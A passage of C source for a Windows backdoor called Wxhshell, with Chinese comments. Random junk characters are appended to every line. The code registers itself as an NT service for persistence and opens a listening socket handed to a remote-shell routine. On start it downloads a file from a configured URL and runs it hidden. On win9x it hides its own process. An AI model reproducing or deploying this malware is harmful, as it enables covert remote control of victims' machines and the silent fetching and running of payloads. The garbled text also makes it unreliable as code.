} PROCESS_BASIC_INFORMATION; hYPl&^
I*{4rDt
PROCNTQSIP NtQueryInformationProcess; + jc!5i .
Q=;U@k@>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mo?~_|}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V58wU:li
JTO~9>$ B
HANDLE hProcess; de.&`lPRf
PROCESS_BASIC_INFORMATION pbi; Dz>^IMsY
%b&".mN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p>RNPrT
if(NULL == hInst ) return 0; Ta
?_5
}vxw*8d?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~zCEpU|@N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -JMdE_h
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {XR6>]
x+Ttl4
if (!NtQueryInformationProcess) return 0; H?<N.Dq
C'\-
@/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t<#mP@Mz=N
if(!hProcess) return 0; UQ)W%Y;[0
4|buk]9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >7lx=T
x
rI= v
CloseHandle(hProcess); XG{{ 2f
$$|rr G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cn'(<bl
if(hProcess==NULL) return 0; *SU\ABcov
G18F&c~
HMODULE hMod; sqEI4~514
char procName[255]; $?Yry.2
unsigned long cbNeeded; /oR0+sH]
Ixb=L(V
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2|3)S`WZl
RQ vft
CloseHandle(hProcess); i6dHrx]:,
"?]{%-u
if(strstr(procName,"services")) return 1; // 以服务启动 iHeN9 cl
z:8eEq3w
return 0; // 注册表启动 3h;{!|-3
} <sWprR
h1B? 8pD
// 主模块 qaiNz S@q
int StartWxhshell(LPSTR lpCmdLine) &+Z,hs9%
{ !\zWF
SOCKET wsl; ?5C!<3gM)
BOOL val=TRUE; LPZF)@|`
int port=0; V=R 3)GC
struct sockaddr_in door; P\yDa*m
{P*pkc
if(wscfg.ws_autoins) Install(); ah+~y,Gl
C7rNV0.Fq
port=atoi(lpCmdLine); E@@5BEB ~
'Y*E<6:
if(port<=0) port=wscfg.ws_port; ',Y.v"']4
'8Q]C*Z
WSADATA data; xbdN0MAU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E(O74/2c8
\w/yF4,3<w
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $@z5kwx:P
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l1T m`7}
door.sin_family = AF_INET; 3.|S
door.sin_addr.s_addr = inet_addr("127.0.0.1"); .<jr0,i
door.sin_port = htons(port); YPU*@l>
5:pM4J
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QKyo`g7
closesocket(wsl); p`b"-[93
return 1; 61SlVec*o8
} o|>'h$
Sh/T ,
if(listen(wsl,2) == INVALID_SOCKET) { 3kw,(-'1
closesocket(wsl); f[@77m*
return 1; XG}C+;4Aw
} &M46&^Jho
Wxhshell(wsl); kStnb?nk
WSACleanup(); 5Sm}nH
a][f
return 0; .:@Ykdm4I
fKeT,U`W
} 'C`U"I
Bzkoo J
// 以NT服务方式启动
3L<wQ(
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7op`s5i
{ dYT%
DWORD status = 0; >pU$wq|i
DWORD specificError = 0xfffffff; lpQSup
=y
[M\m
serviceStatus.dwServiceType = SERVICE_WIN32; G0/4JSH
serviceStatus.dwCurrentState = SERVICE_START_PENDING; T ?$:'XJ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5]NqRI^0
serviceStatus.dwWin32ExitCode = 0; Kf>A\l^X7
serviceStatus.dwServiceSpecificExitCode = 0; uD}2<$PP
serviceStatus.dwCheckPoint = 0; fmQ_P.c
serviceStatus.dwWaitHint = 0; BcL{se9<
~<O7$~
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :yRo3c
if (hServiceStatusHandle==0) return; D ~stM
`7[EKOJ3g
status = GetLastError(); 5"CZh.J
if (status!=NO_ERROR) w1hPc!I
{ kw#;w=\>R{
serviceStatus.dwCurrentState = SERVICE_STOPPED; D>HOn^
serviceStatus.dwCheckPoint = 0; y+X2Pl
serviceStatus.dwWaitHint = 0; iI\oz&!vH
serviceStatus.dwWin32ExitCode = status; [0(B>a3J
serviceStatus.dwServiceSpecificExitCode = specificError; N/Z2hn/m
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YUx.BZf7
return; =:&ly'QB&
} GNgKo]u
W?qmp|YD
serviceStatus.dwCurrentState = SERVICE_RUNNING; ukIQr/k
serviceStatus.dwCheckPoint = 0; o^^rJk
serviceStatus.dwWaitHint = 0; GR
+[UG
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z2MWN\?8
} :# .<[
u])b,9&En
// 处理NT服务事件,比如:启动、停止 W{5#@_pL
VOID WINAPI NTServiceHandler(DWORD fdwControl) {1IfU
{ ZX>AE3wk
switch(fdwControl) S4'
{ T;L>;E>B
case SERVICE_CONTROL_STOP: G!"YpYml
serviceStatus.dwWin32ExitCode = 0; SW*"\X;
serviceStatus.dwCurrentState = SERVICE_STOPPED; : ]sUpO
serviceStatus.dwCheckPoint = 0; $K]m{
serviceStatus.dwWaitHint = 0; Z1 Bp+a3
{ MXw hxk#E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); b6Wqr/
} byLft1
return; b:Wm8pp?
case SERVICE_CONTROL_PAUSE: oE+R3[D?r
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2^y^q2(r
break; <}E!w_yi
case SERVICE_CONTROL_CONTINUE: pnjXf.g"O
serviceStatus.dwCurrentState = SERVICE_RUNNING; C1jHz
break; /DK"QV!]s
case SERVICE_CONTROL_INTERROGATE: qHuZcht
break; v-#Q7T
}; #pb92kA'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e4!:c^?
} }])oM|fgO
)\eI;8
// 标准应用程序主函数 %+j8["VEC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L W[9
{ :[O
8
,quoRan
// 获取操作系统版本 i(AT8Bo2
OsIsNt=GetOsVer(); _J Hd9)[
GetModuleFileName(NULL,ExeFile,MAX_PATH); VtnRgdJ
jzDuE{
// 从命令行安装 d Vj_8>
if(strpbrk(lpCmdLine,"iI")) Install(); z2g3FUTX)b
=T(6#"
// 下载执行文件 N>XS=2tzN
if(wscfg.ws_downexe) { P!H_1RwXKC
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *1v[kWa?
WinExec(wscfg.ws_filenam,SW_HIDE); q=%RDG+
} 9;r)#3Q[^
hEBY8=gK
if(!OsIsNt) { ]^lw*724'>
// 如果时win9x,隐藏进程并且设置为注册表启动 ;A]@4*q
HideProc(); {@+Ty]e
StartWxhshell(lpCmdLine); Yzh"1|O
} 2 lj'"nm
else MRb-H1+Xf
if(StartFromService()) OR%'K2C6S
// 以服务方式启动 Q4+gAS9
StartServiceCtrlDispatcher(DispatchTable); Y~L2
else }s(N6 a&(
// 普通方式启动 ~\Hc,5G
StartWxhshell(lpCmdLine); ~$)2s7
O
Pb1*\+
return 0; VFRi1\G
}